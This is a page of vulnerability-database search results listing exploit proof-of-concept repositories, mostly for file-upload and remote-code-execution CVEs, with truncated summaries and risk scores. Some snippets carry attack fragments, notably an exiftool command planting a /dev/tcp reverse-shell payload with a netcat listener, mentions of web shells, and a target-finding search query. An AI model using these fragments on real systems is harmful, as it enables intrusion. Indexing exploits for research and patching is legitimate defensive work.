Lucene search
+L

48078 matches found

CVE
CVE
•added 2026/09/16 6:00 a.m.•3 views

CVE-2026-76552

The WP Import Export Lite WordPress plugin (versions before 3.9.33 ) fails to validate the type, extension, or content of files retrieved from a user-supplied URL during import. This allows any user with the plugin's import permission to store arbitrary files—including executable ones—on the serv...

6.3AI score
SaveExploits0References1
Kitploit
Kitploit
•added 2026/09/16 4:03 a.m.•7 views

CVE-2024-8232

CVE-2024-8232 – SpiderControl SCADA Web Server File Upload Vulnerability Summary SpiderControl SCADA Web Server is vulnerable to unauthenticated arbitrary file uploads, allowing attackers to upload malicious scripts e.g., web shells and gain remote code execution. CVE ID : CVE-2024-8232 Vendor :...

8.7CVSS7.8AI score0.13075EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/16 4:02 a.m.•7 views

Demo-Exploit-Jackson-RCE

Demo-Exploit-Jackson-RCE Based on the project jackson-rce-via-spel this project serves as an example web application to test multiple attack vectors file upload, forms on the Jackson-databind vulnerability. Introduction Based on an Angular7 frontend and a spring-boot backend different attack...

5.8AI score
SaveExploits0References1
Kitploit
Kitploit
•added 2026/09/16 4:00 a.m.•6 views

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Unauthenticated Arbitrary File Upload Metasploit Date: 30-01-2021 Exploit Author: Berkan Er [email protected] Vendor Homepage: https://www.fortilogger.com/ Software Link: https://www.fortilogger.com/download Version: 4.4.2.2 Tested on: Windows 10 Enterprise x64...

9.8CVSS8.1AI score0.97512EPSS
SaveExploits8References1
Kitploit
Kitploit
•added 2026/09/16 3:54 a.m.•6 views

CVE-2023-47246-EXP

Vulnerability Details 1. fofa: root@kitploit: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. Affected versions: SysAid Server23.3.36 Vulnerability Recurrence 1. Execute the script: root@kitploit: git clone...

9.8CVSS8.7AI score0.98851EPSS
SaveExploits3References1
Kitploit
Kitploit
•added 2026/09/16 3:51 a.m.•7 views

CVE-2025-6440

CVE-2025-6440 WooCommerce Designer Pro CVE: CVE-2025-6440 CVSS: 9.8 Critical šŸ“ Description The WooCommerce Designer Pro plugin for WordPress, widely used especially in themes such as Pricom - Printing Company & Design Services, is vulnerable to arbitrary file uploads due to a lack of proper file...

9.8CVSS8.4AI score0.31424EPSS
SaveExploits13
Kitploit
Kitploit
•added 2026/09/16 3:49 a.m.•6 views

CVE-2019-16113

CVE-2019-16113 This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability CVE-2019-16113 Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg or .png file name, and then this PHP code...

8.8CVSS7.3AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
•added 2026/09/16 3:43 a.m.•9 views

CVE-2025-54962

šŸ”„ CVE-2025-54962 — Insecure File Upload in OpenPLC Runtime Webserver OpenPLC Runtime ≤ 2024-12-31 — Stored XSS, CSRF šŸ“Œ Summary I discovered a vulnerability in the OpenPLC Runtime webserver released version: 2024-12-31 that allows authenticated users to upload arbitrary files e.g., .html, .svg as...

6.4CVSS6AI score0.00239EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/16 3:42 a.m.•8 views

CVE-2025-6586

Download Plugin 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500 qdisc...

7.2CVSS6.3AI score0.011EPSS
SaveExploits1References1
Kitploit
Kitploit
•added 2026/09/16 3:36 a.m.•5 views

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164 : Apache Struts 2 vulnerable Docker container Apache has recently released an advisory regarding CVE-2023-50164, a critical vulnerability with a severity rating of 9.8 that affects Apache Struts 2. CVE-2023-50164 is intricately tied to an organization's Apache Struts architecture a...

9.8CVSS8.9AI score0.80819EPSS
SaveExploits15
Kitploit
Kitploit
•added 2026/09/16 3:35 a.m.•11 views

CVE-2023-4226

šŸ› ļø Exploitation CVE-2023-4226 for Chamilo LMS šŸ“‹ Description Python script that automates the exploitation of CVE-2023-4226 , an unrestricted file upload vulnerability in Chamilo LMS = v1.11.24. Uploads a PHP web shell based on PentesterMonkey and configures .htaccess to achieve a reverse shell...

8.8CVSS8AI score0.02433EPSS
SaveExploits4
Kitploit
Kitploit
•added 2026/09/16 3:28 a.m.•8 views

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 is vulnerable to RCE via SQL Injection. Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Step 1: Navigate to the affected UR...

6.5CVSS6.5AI score0.00299EPSS
SaveExploits2References2
Kitploit
Kitploit
•added 2026/09/16 3:22 a.m.•6 views

CVE-2026-21440

CVE-2026-21440 Advanced detection-only PoC for CVE-2026-21440 affecting AdonisJS BodyParser. No exploitation included. CVE-2026-21440 – AdonisJS Advanced Detection PoC Description This project provides an advanced detection-only Proof of Concept PoC for CVE-2026-21440 , a critical Path Traversal ...

9.2CVSS8.7AI score0.01049EPSS
SaveExploits3
Kitploit
Kitploit
•added 2026/09/16 3:20 a.m.•11 views

CVE-2021-22005_PoC

CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e verify: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...

9.8CVSS7.9AI score0.99999EPSS
SaveExploits11References2
Kitploit
Kitploit
•added 2026/09/16 3:19 a.m.•7 views

exploit-CVE-2020-5844

Exploit for CVE-2020-5844 Pandora FMS v7.0NG.742 - Remote Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description...

7.2CVSS7.7AI score0.30254EPSS
SaveExploits6References2
Kitploit
Kitploit
•added 2026/09/16 3:16 a.m.•5 views

CVE-2021-42171

CVE-2021-42171 File upload to Remote Code Execution on Zenario CMS 9.0.54156 https://minhnq22.medium.com/file-upload-to-rce-on-zenario-9-0-54156-cms-fa05fcc6cf74 root@kitploit: Server test Distributor ID: Ubuntu Description: Ubuntu 21.04 Release: 21.04 Codename: hirsute...

7.2CVSS7.3AI score0.02523EPSS
SaveExploits5
Kitploit
Kitploit
•added 2026/09/16 3:16 a.m.•8 views

lazyweb

LazyWeb - Aplicación Web Vulnerable LazyWeb es una aplicación web de demostración diseñada para mostrar vulnerabilidades comunes del lado del servidor. Cada vulnerabilidad estÔ categorizada con su respectiva calificación de dificultad para proporcionar una experiencia de aprendizaje integral para...

6.1AI score
SaveExploits0
Kitploit
Kitploit
•added 2026/09/16 3:11 a.m.•7 views

CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

8.8CVSS7.9AI score0.02121EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/16 3:08 a.m.•9 views

CVE-2024-50379-POC

CVE-2024-50379-POC This repository contains a Python script designed to exploit CVE-2024-50379 , a vulnerability that allows attackers to upload a JSP shell to a vulnerable server and execute arbitrary commands remotely. This exploit is particularly useful when the /uploads directory is either...

9.8CVSS8.6AI score0.44312EPSS
SaveExploits13
Kitploit
Kitploit
•added 2026/09/16 3:06 a.m.•5 views

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution Exploit Author: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 HIGH References: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution...

8.8CVSS8AI score0.03306EPSS
SaveExploits1
Rows per page
Query Builder